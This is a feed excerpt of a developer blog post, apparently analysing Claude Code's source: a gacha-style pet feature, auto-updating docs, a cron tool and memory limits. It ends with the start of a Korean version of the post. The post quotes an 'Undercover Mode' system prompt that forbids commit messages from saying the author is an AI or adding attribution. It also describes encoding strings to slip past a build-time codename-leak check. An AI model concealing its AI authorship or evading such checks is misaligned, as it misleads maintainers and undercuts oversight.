  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;|=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x6d2b79f5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imul&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imul&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;61&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;
    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;4294967296&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As a game developer, I recognize this instantly. Lightweight seeded random. Mulberry32 is commonly used in games for procedural map generation and loot drop tables. Exact same use case here.&lt;/p&gt;

&lt;p&gt;Eighteen species — duck, goose, blob, cat, dragon, octopus, owl, penguin, turtle, snail, ghost, axolotl, capybara, cactus, robot, rabbit, mushroom, chonk. The species names are encoded with &lt;code&gt;String.fromCharCode&lt;/code&gt; instead of string literals.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;duck&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;duck&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;capybara&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;capybara&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why? A comment explains: "One species name collides with a model-codename canary in excluded-strings.txt." There's a build pipeline that catches model codenames leaking into the bundle. One species name triggers that check, so they encoded all of them as char codes to bypass it.&lt;/p&gt;

&lt;p&gt;The rarity system is straight out of a gacha game.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RARITY_WEIGHTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;common&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;uncommon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;rare&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;epic&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;legendary&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Common 60%, uncommon 25%, rare 10%, epic 4%, legendary 1%. Shiny chance is 1%. Mobile gacha probability tables in a coding tool.&lt;/p&gt;

&lt;p&gt;Each character has stats — DEBUGGING, PATIENCE, CHAOS, WISDOM, SNARK. Rarity determines the stat floor. There's a peak stat and a dump stat, just like RPG character creation.&lt;/p&gt;

&lt;p&gt;Eyes come in 6 variants (&lt;code&gt;·&lt;/code&gt;, &lt;code&gt;✦&lt;/code&gt;, &lt;code&gt;×&lt;/code&gt;, &lt;code&gt;◉&lt;/code&gt;, &lt;code&gt;@&lt;/code&gt;, &lt;code&gt;°&lt;/code&gt;). Hats in 8 (none, crown, tophat, propeller, halo, wizard, beanie, tinyduck). Commons get no hat. Uncommon and above get one. &lt;code&gt;tinyduck&lt;/code&gt; is a tiny duck sitting on top of your character.&lt;/p&gt;

&lt;p&gt;The character's "bones" (appearance) are deterministically computed from userId. The "soul" (name, personality) is model-generated. Only the soul is persisted to config. Bones are recomputed each time. Because if bones were stored, users could edit their config file to fake a legendary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// bones last so stale bones fields in old-format configs get overridden&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;stored&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;bones&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anti-cheat. Game developer instincts.&lt;/p&gt;

&lt;p&gt;The salt value is &lt;code&gt;'friend-2026-401'&lt;/code&gt;. April 1st, 2026. Was this planned as an April Fools' launch?&lt;/p&gt;

&lt;h2&gt;
  
  
  Magic Docs — Auto-Updating Just by Being Read
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/services/MagicDocs/&lt;/code&gt;. This one feels genuinely magical.&lt;/p&gt;

&lt;p&gt;Put &lt;code&gt;# MAGIC DOC: [title]&lt;/code&gt; as the first line of a markdown file, and Claude Code &lt;strong&gt;automatically updates it&lt;/strong&gt;. When new information emerges during conversation, a forked subagent updates the document in the background.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAGIC_DOC_HEADER_PATTERN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/^#&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;*MAGIC&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+DOC:&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt;&lt;span class="se"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;.+&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;$/im&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A listener registered on FileReadTool detects Magic Doc headers whenever a file is read. You can add update instructions on the next line in italics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gh"&gt;# MAGIC DOC: API Reference&lt;/span&gt;
&lt;span class="ge"&gt;_Focus on endpoint changes and breaking modifications_&lt;/span&gt;

&lt;span class="gu"&gt;## Current Endpoints&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The italicized line controls the update perspective. Updates trigger via &lt;code&gt;postSamplingHook&lt;/code&gt; — after model response generation, if tool calls occurred in the last assistant turn. A &lt;code&gt;sequential()&lt;/code&gt; wrapper prevents concurrent updates.&lt;/p&gt;

&lt;p&gt;Architecture docs, API references, TODO lists — all automatically kept current while you code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Away Summary — Recap When You Return
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/services/awaySummary.ts&lt;/code&gt;. When you step away and come back, you get a 1-3 sentence summary of where things are and what's next.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;buildAwaySummaryPrompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`...Write exactly 1-3 short sentences. Start by stating the
high-level task — what they are building or debugging, not
implementation details. Next: the concrete next step.
Skip status reports and commit recaps.`&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only the last 30 messages are sent to a small, fast model. Cost-efficient. Session memory provides broader context when available.&lt;/p&gt;

&lt;p&gt;The prompt is precise. "High-level task first, not implementation details." When you come back, "we're fixing the auth module bug" is far more useful than "we modified the validateToken function on line 42."&lt;/p&gt;

&lt;h2&gt;
  
  
  Undercover Mode — Hiding Anthropic's Identity
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/utils/undercover.ts&lt;/code&gt;. Purely internal — only runs when &lt;code&gt;USER_TYPE === 'ant'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When Anthropic employees contribute to open-source repos, this system prevents internal information from leaking through commit messages and PR descriptions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isUndercover&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;USER_TYPE&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ant&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isEnvTruthy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CLAUDE_CODE_UNDERCOVER&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;getRepoClassCached&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;internal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The default is &lt;strong&gt;ON&lt;/strong&gt;. Only turns off when the repo is positively confirmed as internal. Safe default.&lt;/p&gt;

&lt;p&gt;When active, strict rules are injected into the system prompt.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu, etc.)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- The phrase "Claude Code" or any mention that you are an AI
- Co-Authored-By lines or any other attribution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So model codenames are animal names. Capybara, Tengu, and others.&lt;/p&gt;

&lt;p&gt;The bad examples in the prompt are telling.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BAD: "1-shotted by claude-opus-4-6"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's in the "bad example" list because someone actually wrote commit messages like that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Built-in Cron Scheduler
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/tools/ScheduleCronTool/&lt;/code&gt;. Three sub-tools — &lt;code&gt;CronCreateTool&lt;/code&gt;, &lt;code&gt;CronDeleteTool&lt;/code&gt;, &lt;code&gt;CronListTool&lt;/code&gt;. Accessible via the &lt;code&gt;/loop&lt;/code&gt; command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isKairosCronEnabled&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;feature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;AGENT_TRIGGERS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isEnvTruthy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CLAUDE_CODE_DISABLE_CRON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class="nf"&gt;getFeatureValue_CACHED_WITH_REFRESH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tengu_kairos_cron&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Default is &lt;code&gt;true&lt;/code&gt;. The comment says "/loop is GA (announced in changelog)." It's already shipped. Default-true ensures it works even in environments where GrowthBook is disabled (Bedrock, Vertex).&lt;/p&gt;

&lt;p&gt;There's also "durable cron" — tasks that persist to disk across sessions, gated separately by &lt;code&gt;isDurableCronEnabled()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Without CI/CD, you can tell Claude Code to "run tests every hour" or "check for dependency updates every morning."&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Memory — Remembering Beyond Context
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/memdir/&lt;/code&gt;. MEMORY.md-based memory system with explicit size limits.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_ENTRYPOINT_LINES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_ENTRYPOINT_BYTES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When truncated, the system tells Claude to "keep index entries to one line under ~200 chars; move detail into topic files."&lt;/p&gt;

&lt;p&gt;The system prompt includes guidance to avoid wasting turns on &lt;code&gt;mkdir&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;DIR_EXISTS_GUIDANCE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;This directory already exists — write to it directly with the Write tool
  (do not run mkdir or check for its existence).&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude was burning turns running &lt;code&gt;mkdir&lt;/code&gt; before writing. So they pre-create the directory and tell the model "it exists, just write." Every API call costs money.&lt;/p&gt;

&lt;p&gt;Team Memory (&lt;code&gt;TEAMMEM&lt;/code&gt; feature flag) is also implemented. The &lt;code&gt;teamMemorySync/&lt;/code&gt; directory includes file watching, secret scanning (&lt;code&gt;secretScanner.ts&lt;/code&gt;), and sync logic. Shared team memory with built-in secret leak prevention.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the Source Code Reveals
&lt;/h2&gt;

&lt;p&gt;Going through 1,884 files, the takeaway is that Claude Code isn't a simple "AI coding tool." It's closer to &lt;strong&gt;an operating system inside your terminal&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Process management (agent system), scheduling (cron), filesystem (memory, worktrees), input handling (keybindings, mouse, voice), notifications, plugin architecture, permission system. Most of what an OS provides, reimplemented.&lt;/p&gt;

&lt;p&gt;I get the same feeling working with UE5. "This isn't a game engine, it's an OS." Claude Code is the same. An AI operating system running in a terminal.&lt;/p&gt;

&lt;p&gt;And the comments scattered throughout — "10.2% of fleet cache_creation tokens," "research shows ~1.2% output token reduction" — these numbers show &lt;strong&gt;how Anthropic optimizes their product&lt;/strong&gt;. Not by intuition but by data. They change prompt wording for 1.2% improvement. They redesign architecture for 10.2%.&lt;/p&gt;

&lt;p&gt;I never would have known any of this without reading the source myself.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"When the docs list 30 environment variables but the source has 195, the tool is always deeper than what's visible."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
      <category>sourceanalysis</category>
      <category>eastereggs</category>
    </item>
    <item>
      <title>Claude Code 소스코드를 뜯어봤다 3/3</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Tue, 31 Mar 2026 23:55:21 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/claude-code-soseukodeureul-ddeudeobwassda-33-gn6</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/claude-code-soseukodeureul-ddeudeobwassda-33-gn6</guid>
      <description>&lt;p&gt;더 많은 글은 &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;에서.&lt;/p&gt;




&lt;p&gt;Claude Code 소스코드를 뜯으면서 가장 놀란 건 도구나 아키텍처가 아니었다. &lt;code&gt;buddy/&lt;/code&gt; 폴더를 열었을 때다.&lt;/p&gt;

&lt;p&gt;가상 펫이 있다. 가챠 시스템으로 동작하는. 레어리티가 5단계이고, 종족이 18종이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  Buddy — 코딩 에이전트에 가챠 가상 펫이 있다
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/buddy/&lt;/code&gt; 디렉토리. 파일 5개, 79KB. feature flag &lt;code&gt;BUDDY&lt;/code&gt;로 게이트되어 있어서 아직 공개된 기능은 아니다. 하지만 구현은 완성되어 있다.&lt;/p&gt;

&lt;p&gt;userId를 시드로 해서 결정론적으로 캐릭터가 생성된다. 같은 유저는 항상 같은 캐릭터를 받는다. PRNG(Pseudo-Random Number Generator)로 &lt;strong&gt;Mulberry32&lt;/strong&gt;를 쓴다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;mulberry32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;|=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x6d2b79f5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imul&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
